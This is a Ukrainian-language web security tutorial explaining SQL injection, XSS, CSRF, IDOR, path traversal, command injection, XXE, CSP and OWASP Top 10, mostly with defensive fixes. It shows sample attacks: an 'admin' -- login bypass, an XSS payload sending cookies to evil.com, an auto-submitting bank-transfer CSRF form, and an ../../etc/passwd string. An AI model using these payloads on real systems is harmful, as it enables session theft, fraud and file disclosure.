SQL-ін'єкції, XSS і CSRF: атаки на вебзахист
SQL-ін'єкції, міжсайтовий скриптинг та CSRF разом становлять величезну частку успішних вебзломів. Це не екзотичні урядові 0-day — це базові помилки, яких щодня припускаються розробники, що не розуміють, як браузери та бази даних інтерпретують недовірені дані.
1. SQL-ін'єкції
Атака SQL-ін'єкції відбувається, коли надані користувачем дані напряму вставляються в SQL-запит без санітизації, що дає зловмиснику змогу змінити логіку запиту.
const query = `SELECT * FROM users WHERE username = '${req.body.user}'
AND password = '${req.body.pass}'`;
// Зловмисник вводить: user = "admin' --"
// Запит стає таким:
SELECT * FROM users WHERE username = 'admin' --' AND password = '...'
// -- закоментовує перевірку пароля → вхід як admin
// Node.js / PostgreSQL const result = await db.query( 'SELECT * FROM users WHERE username = $1 AND password = $2', [req.body.user, req.body.pass] // параметри, ніколи не конкатенація ); // Драйвер бази даних екранує всі спеціальні символи.
2. Міжсайтовий скриптинг (XSS)
XSS впроваджує шкідливі скрипти на сторінки, які переглядають інші користувачі. Браузер жертви виконує JavaScript зловмисника в контексті цільового сайту — з повним доступом до cookie, localStorage та DOM.
Відображений XSS (Reflected)
Корисне навантаження міститься в параметрі URL і одразу відображається у відповіді. Зловмисник надсилає жертві спеціально створене посилання. Приклад: search?q=<script>fetch('https://evil.com/steal?c='+document.cookie)</script>
Збережений XSS (Stored)
Корисне навантаження зберігається в базі даних (наприклад, у полі коментаря) і подається кожному відвідувачу. Небезпечніший — не потрібно заманювати конкретних користувачів посиланнями.
// Сервер вставляє наданий користувачем вміст прямо в HTML:
document.getElementById('comment').innerHTML = userInput;
// або на боці сервера:
res.send('<p>Hello ' + req.query.name + '</p>');
// Використовуйте textContent (а не innerHTML) для даних користувача:
element.textContent = userInput; // браузер сприймає це як текст, а не HTML
// На боці сервера: використовуйте шаблонізатор з автоекрануванням:
// Handlebars: {{ name }} → < > (екрановано)
// React: {name} → автоекранування через VDOM React
3. Міжсайтова підробка запиту (CSRF)
CSRF використовує автоматичне додавання cookie браузером. Якщо користувач увійшов на bank.com і відвідує evil.com, прихована форма на evil.com може надіслати POST на bank.com — браузер автоматично долучить сесійну cookie користувача.
<!-- Прихована форма автоматично надсилається, коли жертва заходить --> <form method="POST" action="https://bank.com/transfer"> <input name="to" value="attacker-account"> <input name="amount" value="10000"> </form> <script>document.forms[0].submit();</script>
• CSRF-токени: сервер генерує випадковий токен на кожну сесію, вбудовує його у форми та перевіряє під час надсилання. Зловмисник на evil.com не може його прочитати (політика спільного походження).
• SameSite cookie: установіть
SameSite=Strict або SameSite=Lax — браузер не надсилатиме cookie в міжсайтових запитах.• Подвійне надсилання cookie: токен і в cookie, і в тілі запиту; сервер перевіряє, що вони збігаються.
4. IDOR, обхід шляху та інше
IDOR (небезпечне пряме посилання на об'єкт): доступ до даних іншого користувача шляхом зміни ID в URL. Наприклад, /api/invoice?id=1042 → спробувати id=1043. Виправлення: перевірка авторизації під час кожного доступу до ресурсу.
Обхід шляху (Path traversal): використання ../../etc/passwd у параметрах шляху до файлу для читання довільних файлів на сервері. Виправлення: канонізуйте шляхи та перевіряйте, що вони в межах призначеного каталогу.
Ін'єкція команд: передавання несанітизованого вводу командам ОС через system(), exec() тощо. Виправлення: уникайте викликів оболонки або використовуйте параметризовані API (child_process.execFile з масивом аргументів).
XXE (зовнішня XML-сутність): XML-парсери, що розв'язують зовнішні сутності, можна використати для читання файлів чи виконання SSRF-запитів. Виправлення: вимкніть обробку DTD/зовнішніх сутностей у налаштуваннях XML-парсера.
5. Політика безпеки вмісту
CSP — це заголовок HTTP-відповіді, який повідомляє браузерам, з яких джерел дозволено завантажувати скрипти, стилі, зображення тощо. Сувора CSP запобігає більшості XSS-атак, навіть якщо стається HTML-ін'єкція:
Content-Security-Policy:
default-src 'self';
script-src 'self' 'nonce-{random-per-request}';
style-src 'self' 'nonce-{random-per-request}';
img-src 'self' data: https:;
object-src 'none';
base-uri 'none';За CSP на основі nonce виконуються лише вбудовані скрипти з правильним значенням nonce (генерується на боці сервера, різне для кожного запиту). Зловмисника, який впроваджує тег скрипта без nonce, буде заблоковано.
6. OWASP Top 10 (2021)
- Порушене керування доступом
- Криптографічні збої (паролі у відкритому тексті, слабке гешування)
- Ін'єкції (SQL, NoSQL, LDAP, команди)
- Небезпечне проєктування
- Неправильне налаштування безпеки (стандартні облікові дані, докладні повідомлення про помилки)
- Вразливі та застарілі компоненти
- Збої ідентифікації та автентифікації
- Збої цілісності програмного забезпечення та даних (неперевірені оновлення, шкідливі npm-пакети)
- Збої журналювання та моніторингу безпеки
- Підробка запиту на боці сервера (SSRF)
7. Найкращі практики безпеки
- Ніколи не довіряйте вводу користувача — перевіряйте, санітизуйте та екрануйте на кожній межі.
- Параметризуйте всі запити — ORM або підготовлені вирази, ніколи не конкатенація рядків.
- Використовуйте сучасне гешування паролів — bcrypt, Argon2 чи scrypt. Ніколи MD5/SHA1.
- Принцип найменших привілеїв — користувач БД має мати лише SELECT/INSERT на потрібних таблицях.
- Установлюйте безпечні прапорці cookie:
HttpOnly(без доступу JS),Secure(лише HTTPS),SameSite=Lax. - Тримайте залежності оновленими — більшість зломів використовують відомі CVE у застарілих бібліотеках.
- Обмежуйте частоту запитів до точок автентифікації — запобігає атакам перебором.